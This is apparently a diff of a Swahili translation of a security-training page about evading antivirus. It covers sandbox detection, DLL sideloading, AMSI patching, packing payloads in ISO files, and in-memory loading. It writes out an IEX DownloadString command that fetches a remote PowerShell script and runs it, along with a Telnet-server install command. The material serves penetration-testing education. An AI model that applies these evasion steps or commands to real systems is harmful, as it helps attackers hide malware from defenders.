Njia nzuri ya kuangalia dhidi ya kugundua kwa statiki ya Windows Defender ni [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Kimsingi inagawanya faili katika sehemu nyingi kisha inamwambia Defender kuchambua kila moja kwa kibinafsi, kwa njia hii, inaweza kukuambia ni zipi ambazo zimewekwa alama kama za uhalifu katika binary yako.
|
||||
Njia nzuri ya kuangalia dhidi ya ugunduzi wa statiki wa Windows Defender ni [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Kimsingi inagawanya faili katika sehemu nyingi kisha inamwambia Defender kuchanganua kila moja kwa moja, kwa njia hii, inaweza kukuambia ni zipi zilizoashiriwa katika binary yako.
|
||||
{% endhint %}
|
||||
|
||||
Ninapendekeza kwa nguvu uangalie hii [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) kuhusu AV Evasion ya vitendo.
|
||||
Ninapendekeza uangalie hii [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) kuhusu AV Evasion ya vitendo.
|
||||
|
||||
### **Dynamic analysis**
|
||||
|
||||
Uchambuzi wa dynamic ni wakati AV inakimbia binary yako katika sandbox na kuangalia shughuli za uhalifu (mfano: kujaribu kufungua na kusoma nywila za kivinjari chako, kufanya minidump kwenye LSASS, n.k.). Sehemu hii inaweza kuwa ngumu kidogo kufanya kazi nayo, lakini hapa kuna mambo kadhaa unayoweza kufanya ili kuzuia sandboxes.
|
||||
Uchambuzi wa dinamik ni wakati AV inakimbiza binary yako kwenye sandbox na kuangalia shughuli mbaya (mfano, kujaribu kufungua na kusoma nywila za kivinjari chako, kufanya minidump kwenye LSASS, n.k.). Sehemu hii inaweza kuwa ngumu zaidi kufanya kazi nayo, lakini hapa kuna mambo kadhaa unayoweza kufanya ili kuzuia sandboxes.
|
||||
|
||||
* **Sleep before execution** Kutegemea jinsi ilivyotekelezwa, inaweza kuwa njia nzuri ya kupita uchambuzi wa dynamic wa AV. AV zina muda mfupi sana wa kuchambua faili ili kusiwe na usumbufu kwa mtumiaji, hivyo kutumia usingizi mrefu kunaweza kuingilia uchambuzi wa binaries. Tatizo ni kwamba sandboxes nyingi za AV zinaweza tu kupuuza usingizi kulingana na jinsi ilivyotekelezwa.
|
||||
* **Checking machine's resources** Kawaida Sandboxes zina rasilimali chache sana za kufanya kazi (mfano: < 2GB RAM), vinginevyo zinaweza kuharibu mashine ya mtumiaji. Unaweza pia kuwa mbunifu sana hapa, kwa mfano kwa kuangalia joto la CPU au hata kasi za mashabiki, si kila kitu kitawekwa katika sandbox.
|
||||
* **Sleep before execution** Kutegemea jinsi ilivyotekelezwa, inaweza kuwa njia nzuri ya kupita uchambuzi wa dinamik wa AV. AVs zina muda mfupi sana wa kuchanganua faili ili zisihusishe mchakato wa mtumiaji, hivyo kutumia usingizi mrefu kunaweza kuingilia uchambuzi wa binaries. Tatizo ni kwamba sandboxes nyingi za AV zinaweza tu kupuuza usingizi kulingana na jinsi ilivyotekelezwa.
|
||||
* **Checking machine's resources** Kawaida Sandboxes zina rasilimali chache sana za kufanya kazi (mfano, < 2GB RAM), vinginevyo zinaweza kuharibu mashine ya mtumiaji. Unaweza pia kuwa mbunifu sana hapa, kwa mfano kwa kuangalia joto la CPU au hata kasi za mashabiki, si kila kitu kitawekwa kwenye sandbox.
|
||||
* **Machine-specific checks** Ikiwa unataka kulenga mtumiaji ambaye kituo chake kimeunganishwa kwenye eneo la "contoso.local", unaweza kufanya ukaguzi kwenye eneo la kompyuta ili kuona ikiwa inalingana na ile uliyotaja, ikiwa haifai, unaweza kufanya programu yako itoke.
|
||||
|
||||
Inageuka kuwa jina la kompyuta la Sandbox la Microsoft Defender ni HAL9TH, hivyo, unaweza kuangalia jina la kompyuta katika malware yako kabla ya kulipuka, ikiwa jina linalingana na HAL9TH, inamaanisha uko ndani ya sandbox ya defender, hivyo unaweza kufanya programu yako itoke.
|
||||
Inageuka kuwa jina la kompyuta la Microsoft Defender's Sandbox ni HAL9TH, hivyo, unaweza kuangalia jina la kompyuta katika malware yako kabla ya kulipuka, ikiwa jina linalingana na HAL9TH, inamaanisha uko ndani ya sandbox ya defender, hivyo unaweza kufanya programu yako itoke.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>chanzo: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
|
||||
|
@ -61,23 +67,23 @@ Vidokezo vingine vizuri kutoka [@mgeeky](https://twitter.com/mariuszbit) kwa kup
|
|||
|
||||
Kama tulivyosema hapo awali katika chapisho hili, **ztools za umma** hatimaye **zitagundulika**, hivyo, unapaswa kujiuliza kitu:
|
||||
|
||||
Kwa mfano, ikiwa unataka kudondosha LSASS, **je, unahitaji kweli kutumia mimikatz**? Au unaweza kutumia mradi mwingine ambao haujulikani sana na pia unadondosha LSASS.
|
||||
Kwa mfano, ikiwa unataka kudump LSASS, **je, unahitaji kweli kutumia mimikatz**? Au unaweza kutumia mradi mwingine ambao haujulikani sana na pia unadump LSASS.
|
||||
|
||||
Jibu sahihi labda ni la pili. Kuchukua mimikatz kama mfano, huenda ni moja ya, ikiwa si kipande cha malware kinachowekwa alama zaidi na AVs na EDRs, wakati mradi wenyewe ni mzuri sana, pia ni ndoto mbaya kufanya kazi nayo ili kuzunguka AVs, hivyo angalia tu mbadala kwa kile unachojaribu kufikia.
|
||||
Jibu sahihi labda ni la pili. Kuchukua mimikatz kama mfano, huenda ni moja ya, ikiwa si kipande cha malware kinachoshughulikiwa zaidi na AVs na EDRs, wakati mradi wenyewe ni mzuri sana, pia ni ndoto mbaya kufanya kazi nayo ili kuzunguka AVs, hivyo angalia tu mbadala kwa kile unachojaribu kufikia.
|
||||
|
||||
{% hint style="info" %}
|
||||
Wakati unabadilisha payloads zako kwa ajili ya kuzuia, hakikisha **unazima uwasilishaji wa sampuli kiotomatiki** katika defender, na tafadhali, kwa kweli, **USIWEKE KATIKA VIRUSTOTAL** ikiwa lengo lako ni kufikia kuzuia kwa muda mrefu. Ikiwa unataka kuangalia ikiwa payload yako inagundulika na AV fulani, i-install kwenye VM, jaribu kuzima uwasilishaji wa sampuli kiotomatiki, na uijaribu huko hadi uridhike na matokeo.
|
||||
Wakati unabadilisha payloads zako kwa ajili ya kuzuia, hakikisha **unazima uwasilishaji wa sampuli kiotomatiki** katika defender, na tafadhali, kwa dhati, **USIWEKE KATIKA VIRUSTOTAL** ikiwa lengo lako ni kufikia kuzuia kwa muda mrefu. Ikiwa unataka kuangalia ikiwa payload yako inagundulika na AV fulani, i-install kwenye VM, jaribu kuzima uwasilishaji wa sampuli kiotomatiki, na ujitahidi huko hadi uridhike na matokeo.
|
||||
{% endhint %}
|
||||
|
||||
## EXEs vs DLLs
|
||||
|
||||
Kila wakati inavyowezekana, daima **kipa kipaumbele kutumia DLLs kwa ajili ya kuzuia**, katika uzoefu wangu, faili za DLL kwa kawaida **huzuiliwa kidogo** na kuchambuliwa, hivyo ni hila rahisi sana kutumia ili kuepuka kugunduliwa katika baadhi ya matukio (ikiwa payload yako ina njia yoyote ya kuendesha kama DLL bila shaka).
|
||||
Kila wakati inavyowezekana, daima **kipa kipaumbele kutumia DLLs kwa ajili ya kuzuia**, katika uzoefu wangu, faili za DLL kwa kawaida **huzuiliwa kidogo** na kuchambuliwa, hivyo ni hila rahisi sana kutumia ili kuepuka kugundulika katika baadhi ya matukio (ikiwa payload yako ina njia yoyote ya kuendesha kama DLL bila shaka).
|
||||
|
||||
Kama tunavyoona katika picha hii, Payload ya DLL kutoka Havoc ina kiwango cha kugundua cha 4/26 katika antiscan.me, wakati payload ya EXE ina kiwango cha kugundua cha 7/26.
|
||||
Kama tunavyoona katika picha hii, Payload ya DLL kutoka Havoc ina kiwango cha kugundulika cha 4/26 katika antiscan.me, wakati payload ya EXE ina kiwango cha kugundulika cha 7/26.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1130).png" alt=""><figcaption><p>kulinganisha antiscan.me ya payload ya kawaida ya Havoc EXE dhidi ya DLL ya kawaida ya Havoc</p></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1130).png" alt=""><figcaption><p>antiscan.me kulinganisha payload ya kawaida ya Havoc EXE dhidi ya payload ya kawaida ya Havoc DLL</p></figcaption></figure>
|
||||
|
||||
Sasa tutawaonyesha baadhi ya hila unazoweza kutumia na faili za DLL ili kuwa na usiri zaidi.
|
||||
Sasa tutawonyesha hila kadhaa unazoweza kutumia na faili za DLL ili kuwa na ufanisi zaidi.
|
||||
|
||||
## DLL Sideloading & Proxying
|
||||
|
||||
|
@ -98,7 +104,7 @@ Amri hii itatoa orodha ya programu zinazoweza kuathiriwa na DLL hijacking ndani
|
|||
|
||||
Ninapendekeza sana **uchunguze programu zinazoweza kuathiriwa na DLL Hijackable/Sideloadable mwenyewe**, mbinu hii ni ya siri sana ikiwa itafanywa vizuri, lakini ukitumia programu zinazojulikana za DLL Sideloadable, unaweza kukamatwa kwa urahisi.
|
||||
|
||||
Kuweka tu DLL mbaya yenye jina ambalo programu inatarajia kupakia, haitapakia mzigo wako, kwani programu inatarajia baadhi ya kazi maalum ndani ya DLL hiyo, ili kutatua tatizo hili, tutatumia mbinu nyingine inayoitwa **DLL Proxying/Forwarding**.
|
||||
Kuweka tu DLL mbaya yenye jina ambalo programu inatarajia kupakia, hakutaleta mzigo wako, kwani programu inatarajia kazi maalum ndani ya DLL hiyo, ili kutatua tatizo hili, tutatumia mbinu nyingine inayoitwa **DLL Proxying/Forwarding**.
|
||||
|
||||
**DLL Proxying** inasambaza simu ambazo programu inafanya kutoka kwa proxy (na mbaya) DLL hadi DLL asilia, hivyo kuhifadhi kazi ya programu na kuwa na uwezo wa kushughulikia utekelezaji wa mzigo wako.
|
||||
|
||||
|
@ -115,7 +121,7 @@ Hizi ndizo hatua nilizofuata:
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Amri ya mwisho itatupa faili 2: kiolezo cha msimbo wa chanzo cha DLL, na DLL iliyobadilishwa jina.
|
||||
Amri ya mwisho itatupa faili 2: kiolezo cha msimbo wa chanzo cha DLL, na DLL ya asili iliyobadilishwa jina.
|
||||
|
||||
<figure><img src="../.gitbook/assets/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -129,7 +135,7 @@ Hizi ndizo matokeo:
|
|||
|
||||
<figure><img src="../.gitbook/assets/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Msimbo wetu wa shell (uliokodishwa na [SGN](https://github.com/EgeBalci/sgn)) na DLL ya proxy wana kiwango cha Ugunduzi cha 0/26 katika [antiscan.me](https://antiscan.me)! Ningesema hiyo ni mafanikio.
|
||||
Msimbo wetu wa shell (uliokodishwa na [SGN](https://github.com/EgeBalci/sgn)) na DLL ya proxy wana kiwango cha Ugunduzi wa 0/26 katika [antiscan.me](https://antiscan.me)! Ningesema hiyo ni mafanikio.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (193).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -151,12 +157,12 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
|||
<figure><img src="../.gitbook/assets/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="info" %}
|
||||
Kuepuka ni mchezo wa paka na panya, kile kinachofanya kazi leo kinaweza kugundulika kesho, hivyo usitegemee zana moja tu, ikiwa inawezekana, jaribu kuunganisha mbinu kadhaa za kuepuka.
|
||||
Kuepuka ni mchezo wa paka na panya, kile kinachofanya kazi leo kinaweza kugunduliwa kesho, hivyo usitegemee zana moja tu, ikiwa inawezekana, jaribu kuunganisha mbinu kadhaa za kuepuka.
|
||||
{% endhint %}
|
||||
|
||||
## AMSI (Msingi wa Skanning ya Anti-Malware)
|
||||
|
||||
AMSI ilianzishwa ili kuzuia "[malware isiyo na faili](https://en.wikipedia.org/wiki/Fileless\_malware)". Awali, AV zilikuwa na uwezo wa kuskan **faili kwenye diski**, hivyo ikiwa ungeweza kwa namna fulani kutekeleza payloads **moja kwa moja kwenye kumbukumbu**, AV haingeweza kufanya chochote kuzuia hilo, kwani haikuwa na mwonekano wa kutosha.
|
||||
AMSI ilianzishwa ili kuzuia "[malware isiyo na faili](https://en.wikipedia.org/wiki/Fileless\_malware)". Awali, AVs zilikuwa na uwezo wa kuskan **faili kwenye diski**, hivyo ikiwa ungeweza kwa namna fulani kutekeleza payloads **moja kwa moja kwenye kumbukumbu**, AV haingeweza kufanya chochote kuzuia hilo, kwani haikuwa na mwonekano wa kutosha.
|
||||
|
||||
Kipengele cha AMSI kimejumuishwa katika sehemu hizi za Windows.
|
||||
|
||||
|
@ -166,9 +172,9 @@ Kipengele cha AMSI kimejumuishwa katika sehemu hizi za Windows.
|
|||
* JavaScript na VBScript
|
||||
* Office VBA macros
|
||||
|
||||
Inaruhusu suluhisho za antivirus kuchunguza tabia ya script kwa kufichua maudhui ya script katika mfumo ambao haujaandikwa kwa siri na haujaeleweka.
|
||||
Inaruhusu suluhisho za antivirus kuchunguza tabia ya script kwa kufichua maudhui ya script katika mfumo ambao haujaandikwa na haujaeleweka.
|
||||
|
||||
Kukimbia `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` kutazalisha arifa ifuatayo kwenye Windows Defender.
|
||||
Kukimbia `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` kutazalisha onyo lifuatalo kwenye Windows Defender.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1135).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -218,29 +224,29 @@ Keep in mind, that this will probably get flagged once this post comes out, so y
|
|||
|
||||
**Memory Patching**
|
||||
|
||||
Hii mbinu iligunduliwa awali na [@RastaMouse](https://twitter.com/\_RastaMouse/) na inahusisha kutafuta anwani ya kazi "AmsiScanBuffer" katika amsi.dll (inayohusika na kusanidi ingizo lililotolewa na mtumiaji) na kuandika upya na maagizo ya kurudisha msimbo wa E\_INVALIDARG, kwa njia hii, matokeo ya uchunguzi halisi yatarudisha 0, ambayo inatafsiriwa kama matokeo safi.
|
||||
Hii mbinu iligunduliwa awali na [@RastaMouse](https://twitter.com/\_RastaMouse/) na inahusisha kutafuta anwani ya kazi "AmsiScanBuffer" katika amsi.dll (inayohusika na kusafisha ingizo lililotolewa na mtumiaji) na kuandika tena na maagizo ya kurudisha msimbo wa E\_INVALIDARG, kwa njia hii, matokeo ya uchunguzi halisi yatarudisha 0, ambayo inatafsiriwa kama matokeo safi.
|
||||
|
||||
{% hint style="info" %}
|
||||
Tafadhali soma [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) kwa maelezo zaidi.
|
||||
{% endhint %}
|
||||
|
||||
Kuna mbinu nyingi nyingine zinazotumika kupita AMSI kwa kutumia powershell, angalia [**hii ukurasa**](basic-powershell-for-pentesters/#amsi-bypass) na [hii repo](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) kujifunza zaidi kuhusu hizo.
|
||||
Kuna pia mbinu nyingi nyingine zinazotumika kupita AMSI kwa powershell, angalia [**hii ukurasa**](basic-powershell-for-pentesters/#amsi-bypass) na [hii repo](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) kujifunza zaidi kuhusu hizo.
|
||||
|
||||
Au hii script ambayo kupitia memory patching itafanya patch kila mpya ya Powersh
|
||||
Au hii script ambayo kupitia memory patching itafanya patch kila mpya Powersh
|
||||
|
||||
## Obfuscation
|
||||
|
||||
Kuna zana kadhaa ambazo zinaweza kutumika ku **obfuscate C# clear-text code**, kuunda **metaprogramming templates** za kukusanya binaries au **obfuscate compiled binaries** kama vile:
|
||||
|
||||
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
|
||||
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Lengo la mradi huu ni kutoa toleo la wazi la [LLVM](http://www.llvm.org/) suite ya kukusanya inayoweza kutoa usalama wa programu ulioimarishwa kupitia [code obfuscation](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) na kuzuia mabadiliko.
|
||||
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator inaonyesha jinsi ya kutumia lugha ya `C++11/14` kuunda, wakati wa kukusanya, msimbo uliofichwa bila kutumia zana yoyote ya nje na bila kubadilisha mkusanyiko.
|
||||
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Lengo la mradi huu ni kutoa toleo la wazi la [LLVM](http://www.llvm.org/) compilation suite inayoweza kutoa usalama wa programu ulioimarishwa kupitia [code obfuscation](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) na kuzuia mabadiliko.
|
||||
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator inaonyesha jinsi ya kutumia lugha ya `C++11/14` kuunda, wakati wa kukusanya, msimbo uliofichwa bila kutumia zana yoyote ya nje na bila kubadilisha mkusanyaji.
|
||||
* [**obfy**](https://github.com/fritzone/obfy): Ongeza safu ya operesheni zilizofichwa zinazozalishwa na mfumo wa metaprogramming wa C++ template ambao utaifanya maisha ya mtu anayetaka kuvunja programu kuwa magumu kidogo.
|
||||
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz ni obfuscator wa x64 binary ambaye anaweza kuficha aina mbalimbali za faili za pe ikiwa ni pamoja na: .exe, .dll, .sys
|
||||
* [**metame**](https://github.com/a0rtega/metame): Metame ni injini rahisi ya metamorphic code kwa ajili ya executable zisizo na mipaka.
|
||||
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator ni mfumo wa kuficha msimbo kwa undani kwa lugha zinazoungwa mkono na LLVM kwa kutumia ROP (return-oriented programming). ROPfuscator inaficha programu katika kiwango cha msimbo wa assembly kwa kubadilisha maagizo ya kawaida kuwa ROP chains, ikizuia dhana yetu ya kawaida ya mtiririko wa kudhibiti wa kawaida.
|
||||
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator ni mfumo wa kuficha msimbo wa kiwango kidogo kwa lugha zinazoungwa mkono na LLVM kwa kutumia ROP (return-oriented programming). ROPfuscator inaficha programu katika kiwango cha msimbo wa mkusanyiko kwa kubadilisha maagizo ya kawaida kuwa ROP chains, ikizuia dhana yetu ya kawaida ya mtiririko wa kudhibiti wa kawaida.
|
||||
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt ni .NET PE Crypter iliyoandikwa kwa Nim
|
||||
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor anaweza kubadilisha EXE/DLL zilizopo kuwa shellcode na kisha kuziingiza
|
||||
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor ina uwezo wa kubadilisha EXE/DLL zilizopo kuwa shellcode na kisha kuziingiza
|
||||
|
||||
## SmartScreen & MoTW
|
||||
|
||||
|
@ -250,14 +256,14 @@ Microsoft Defender SmartScreen ni mekanismu ya usalama iliyokusudiwa kulinda mtu
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (664).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SmartScreen inafanya kazi hasa kwa njia ya msingi wa sifa, ikimaanisha kwamba programu zisizokuwa za kawaida zinazoshushwa zitaanzisha SmartScreen na hivyo kuonya na kuzuia mtumiaji wa mwisho kutekeleza faili hiyo (ingawa faili hiyo bado inaweza kutekelezwa kwa kubofya More Info -> Run anyway).
|
||||
SmartScreen inafanya kazi hasa kwa njia ya msingi wa sifa, ikimaanisha kwamba programu zisizokuwa za kawaida zitashawishi SmartScreen hivyo kuonya na kuzuia mtumiaji wa mwisho kutekeleza faili hiyo (ingawa faili hiyo bado inaweza kutekelezwa kwa kubofya More Info -> Run anyway).
|
||||
|
||||
**MoTW** (Mark of The Web) ni [NTFS Alternate Data Stream](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) yenye jina la Zone.Identifier ambayo huundwa kiotomatiki wakati wa kushusha faili kutoka mtandao, pamoja na URL ambayo ilishushwa kutoka.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (237).png" alt=""><figcaption><p>Kukagua Zone.Identifier ADS kwa faili iliyoshushwa kutoka mtandao.</p></figcaption></figure>
|
||||
|
||||
{% hint style="info" %}
|
||||
Ni muhimu kutambua kwamba executable zilizosainiwa na cheti cha **kuaminika** **hazitazindua SmartScreen**.
|
||||
Ni muhimu kutambua kwamba executable zilizosainiwa na cheti cha **kuaminika** **hazitashawishi SmartScreen**.
|
||||
{% endhint %}
|
||||
|
||||
Njia yenye ufanisi sana ya kuzuia payloads zako kupata Mark of The Web ni kwa kuzifunga ndani ya aina fulani ya kontena kama ISO. Hii inatokea kwa sababu Mark-of-the-Web (MOTW) **haiwezi** kutumika kwa **volumes zisizo za NTFS**.
|
||||
|
@ -294,21 +300,21 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files
|
|||
|
||||
## C# Assembly Reflection
|
||||
|
||||
Loading C# binaries in memory has been known for quite some time and it's still a very great way for running your post-exploitation tools without getting caught by AV.
|
||||
Kupakia binaries za C# kwenye kumbukumbu kumekuwa kujulikana kwa muda mrefu na bado ni njia nzuri sana ya kuendesha zana zako za baada ya unyakuzi bila kukamatwa na AV.
|
||||
|
||||
Since the payload will get loaded directly into memory without touching disk, we will only have to worry about patching AMSI for the whole process.
|
||||
Kwa kuwa payload itapakuliwa moja kwa moja kwenye kumbukumbu bila kugusa diski, tutahitaji tu kuwa na wasiwasi kuhusu kurekebisha AMSI kwa mchakato mzima.
|
||||
|
||||
Most C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) already provide the ability to execute C# assemblies directly in memory, but there are different ways of doing so:
|
||||
Mifumo mingi ya C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, nk.) tayari inatoa uwezo wa kutekeleza makusanyo ya C# moja kwa moja kwenye kumbukumbu, lakini kuna njia tofauti za kufanya hivyo:
|
||||
|
||||
* **Fork\&Run**
|
||||
|
||||
Inahusisha **kuanzisha mchakato mpya wa dhabihu**, ingiza msimbo wako mbaya wa baada ya unyakuzi katika mchakato huo mpya, tekeleza msimbo wako mbaya na unapomaliza, uue mchakato mpya. Hii ina faida na hasara zake. Faida ya njia ya fork na run ni kwamba utekelezaji unafanyika **nje** ya mchakato wetu wa Beacon implant. Hii ina maana kwamba ikiwa kitu katika hatua zetu za baada ya unyakuzi kitatokea vibaya au kikakamatwa, kuna **uwezekano mkubwa** wa **implant yetu kuishi.** Hasara ni kwamba una **uwezekano mkubwa** wa kukamatwa na **Mikakati ya Tabia**.
|
||||
Inahusisha **kuanzisha mchakato mpya wa dhabihu**, ingiza msimbo wako mbaya wa baada ya unyakuzi kwenye mchakato huo mpya, tekeleza msimbo wako mbaya na unapokamilisha, uue mchakato mpya. Hii ina faida na hasara zake. Faida ya njia ya fork na run ni kwamba utekelezaji unafanyika **nje** ya mchakato wetu wa Beacon implant. Hii ina maana kwamba ikiwa kitu katika hatua zetu za baada ya unyakuzi kitatokea vibaya au kukamatwa, kuna **uwezekano mkubwa** wa **implant yetu kuishi.** Hasara ni kwamba una **uwezekano mkubwa** wa kukamatwa na **Mikakati ya Tabia**.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (215).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* **Inline**
|
||||
|
||||
Ni kuhusu kuingiza msimbo wako mbaya wa baada ya unyakuzi **katika mchakato wake mwenyewe**. Kwa njia hii, unaweza kuepuka kuunda mchakato mpya na kuufanya ukaguliwe na AV, lakini hasara ni kwamba ikiwa kitu kitatokea vibaya na utekelezaji wa payload yako, kuna **uwezekano mkubwa** wa **kupoteza beacon yako** kwani inaweza kuanguka.
|
||||
Inahusisha kuingiza msimbo wako mbaya wa baada ya unyakuzi **katika mchakato wake mwenyewe**. Kwa njia hii, unaweza kuepuka kuunda mchakato mpya na kuupitisha kwa AV, lakini hasara ni kwamba ikiwa kitu kitatokea vibaya na utekelezaji wa payload yako, kuna **uwezekano mkubwa** wa **kupoteza beacon yako** kwani inaweza kuanguka.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -320,23 +326,23 @@ You can also load C# Assemblies **from PowerShell**, check out [Invoke-SharpLoad
|
|||
|
||||
## Using Other Programming Languages
|
||||
|
||||
Kama ilivyopendekezwa katika [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), inawezekana kutekeleza msimbo mbaya kwa kutumia lugha nyingine kwa kutoa mashine iliyoathirika ufikiaji **wa mazingira ya tafsiri yaliyojinstalled kwenye sehemu ya SMB inayodhibitiwa na Mshambuliaji**.
|
||||
Kama ilivyopendekezwa katika [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), inawezekana kutekeleza msimbo mbaya kwa kutumia lugha nyingine kwa kutoa mashine iliyoathirika **ufikiaji wa mazingira ya tafsiri yaliyojinstalled kwenye SMB share inayodhibitiwa na Mshambuliaji**.
|
||||
|
||||
Kwa kuruhusu ufikiaji wa Binaries za Mfasiri na mazingira kwenye sehemu ya SMB unaweza **kutekeleza msimbo wowote katika lugha hizi ndani ya kumbukumbu** ya mashine iliyoathirika.
|
||||
Kwa kuruhusu ufikiaji wa Binaries za Mfasiri na mazingira kwenye SMB share unaweza **kutekeleza msimbo wowote katika lugha hizi ndani ya kumbukumbu** ya mashine iliyoathirika.
|
||||
|
||||
Repo inaonyesha: Defender bado inakagua skripti lakini kwa kutumia Go, Java, PHP n.k tuna **uwezo zaidi wa kupita saini za statiki**. Kujaribu na skripti za shell za kurudi zisizo na ufichuzi katika lugha hizi kumethibitishwa kuwa na mafanikio.
|
||||
Repo inaonyesha: Defender bado inachunguza skripti lakini kwa kutumia Go, Java, PHP nk tuna **uwezo zaidi wa kupita saini za statiki**. Kujaribu na skripti za shell za nyuma zisizo na ufichuzi katika lugha hizi kumethibitishwa kuwa na mafanikio.
|
||||
|
||||
## Advanced Evasion
|
||||
|
||||
Evasion ni mada ngumu sana, wakati mwingine unapaswa kuzingatia vyanzo vingi tofauti vya telemetry katika mfumo mmoja tu, hivyo ni karibu haiwezekani kubaki bila kugundulika kabisa katika mazingira yaliyoendelea.
|
||||
Kuepuka ni mada ngumu sana, wakati mwingine unahitaji kuzingatia vyanzo vingi tofauti vya telemetry katika mfumo mmoja, hivyo ni karibu haiwezekani kubaki bila kugundulika kabisa katika mazingira yaliyoendelea.
|
||||
|
||||
Kila mazingira unayokabiliana nayo yatakuwa na nguvu na udhaifu wake.
|
||||
|
||||
Ninawashauri sana uende uangalie hotuba hii kutoka [@ATTL4S](https://twitter.com/DaniLJ94), ili kupata ufahamu wa mbinu za juu za Evasion.
|
||||
Ninawashauri sana uangalie hotuba hii kutoka [@ATTL4S](https://twitter.com/DaniLJ94), ili kupata ufahamu wa mbinu za Kuepuka za Juu.
|
||||
|
||||
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
|
||||
|
||||
hii pia ni hotuba nyingine nzuri kutoka [@mariuszbit](https://twitter.com/mariuszbit) kuhusu Evasion kwa Kina.
|
||||
Hii pia ni hotuba nyingine nzuri kutoka [@mariuszbit](https://twitter.com/mariuszbit) kuhusu Kuepuka kwa Kina.
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
|
||||
|
||||
|
@ -344,12 +350,12 @@ hii pia ni hotuba nyingine nzuri kutoka [@mariuszbit](https://twitter.com/marius
|
|||
|
||||
### **Check which parts Defender finds as malicious**
|
||||
|
||||
You can use [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) which will **remove parts of the binary** until it **finds out which part Defender** is finding as malicious and split it to you.\
|
||||
Another tool doing the **same thing is** [**avred**](https://github.com/dobin/avred) with an open web offering the service in [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||
Unaweza kutumia [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) ambayo it **ondoa sehemu za binary** hadi **ipate sehemu ambayo Defender** inapata kama mbaya na kuigawanya kwako.\
|
||||
Zana nyingine inayofanya **kitu sawa ni** [**avred**](https://github.com/dobin/avred) ikiwa na huduma ya wavuti wazi inatoa huduma katika [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||
|
||||
### **Telnet Server**
|
||||
|
||||
Hadi Windows10, Windows zote zilikuja na **seva ya Telnet** ambayo unaweza kufunga (kama msimamizi) kwa kufanya:
|
||||
Hadi Windows10, Windows zote zilikuja na **seva ya Telnet** ambayo unaweza kusakinisha (kama msimamizi) kwa kufanya:
|
||||
```bash
|
||||
pkgmgr /iu:"TelnetServer" /quiet
|
||||
```
|
||||
|
@ -563,6 +569,12 @@ https://github.com/praetorian-code/vulcan
|
|||
|
||||
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
